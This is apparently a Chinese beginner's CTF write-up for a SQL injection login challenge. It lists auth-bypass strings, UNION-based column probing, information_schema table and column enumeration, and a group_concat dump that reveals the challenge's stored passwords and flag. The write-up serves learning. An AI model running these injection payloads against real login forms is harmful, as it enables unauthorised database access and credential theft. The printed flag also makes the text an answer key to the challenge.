题目:
上面有行小红字,“用 sqlmap 是没有灵魂的”,呵呵。。嗯,确实
啥也憋说,先上万能钥匙:
a or 1=1 #
a’ or 1=1 #
a" or 1=1 #
尝试后的结果,可以发现该SQL验证是单引号,a' or 1=1 #
注入过后结果:
这我猜是admin的密码(Hash)过后的。在这我要针对该题抛一个问题:
"用户名"和“密码”这俩个输入框,“用户名”我感觉不到什么用呐,只要用户名里面的input没有SQL语法,就…跟不存在一样(存疑)
下面我尝试了a';show databases;#;
他给我报语法错误。
试完万能钥匙+想起来的一些经验,在看一下该表的列呗
payload:
1’ union select 1,2,3#
想像一下:
select admin,password from table where password=‘1’ union select 1,2,3 #’
结果:
如果是1’ union select 1,2,3,4#就会表明超过列了
学的少,下面就是复刻+学习大佬方法了
1’ union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#
1.table_name: 这是要获取的列的名称,表示表的名称。
2.from information_schema.tables: 这部分指定了要查询的表,即信息架构中的表。
3.where table_schema=database(): 这部分是一个条件语句,用于筛选出当前数据库中的表。table_schema 表示数据库名称,而 database() 是一个 MySQL 函数,用于获取当前数据库的名称。
4.limit 0,1: 这是限制返回结果的数量,表示只返回第一行结果。
5.#: 这是一个 SQL 注释符号,用于注释掉后面的代码,避免影响查询的执行。
我试了,没limit 0,1
这类的语句,他就只吐出该数据库第一行的表名
上图第二个payload同理,最后
(我还有个问题,他咋知道Flag就在l0ve1ysq1表里?)
下面是对第三句payload的解释:
1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’ #
1.select 1,2,group_concat(column_name): 表示查询返回三列,前两列分别为数字1和2,第三列为通过 group_concat 函数连接所有列名的结果。
2.from information_schema.columns: 指定了要从信息架构的 columns 表中获取列的信息。
3.where table_name=‘l0ve1ysq1’: 这是一个筛选条件,用于限定查询的目标表名为 ‘l0ve1ysq1’。
4.#: 这是一个 SQL 注释符号,用于注释掉查询语句中后面的部分,以防止执行后续恶意代码。
结果:
从此我们可以看出,l0ve1ysq1表中有id username,password这三个列
payload:
1’ union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
union select 1,2,group_concat(id,username,password) from l0ve1ysq1: 这部分是一个 UNION 查询语句,将上面的字符串 ‘1’ 与来自表 ‘l0ve1ysq1’ 中的 id、username 和 password 字段值连接起来,然后将其作为一组新的查询结果。
Your password is ‘1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{9a840a89-5ed4-4346-820f-fdda9fcdf500}’
flag{9a840a89-5ed4-4346-820f-fdda9fcdf500}
新知识:
group_concat() 函数连接所有列名的结果
information_schema.tables: 这部分指定了信息架构中的表。(我一个大大的疑惑)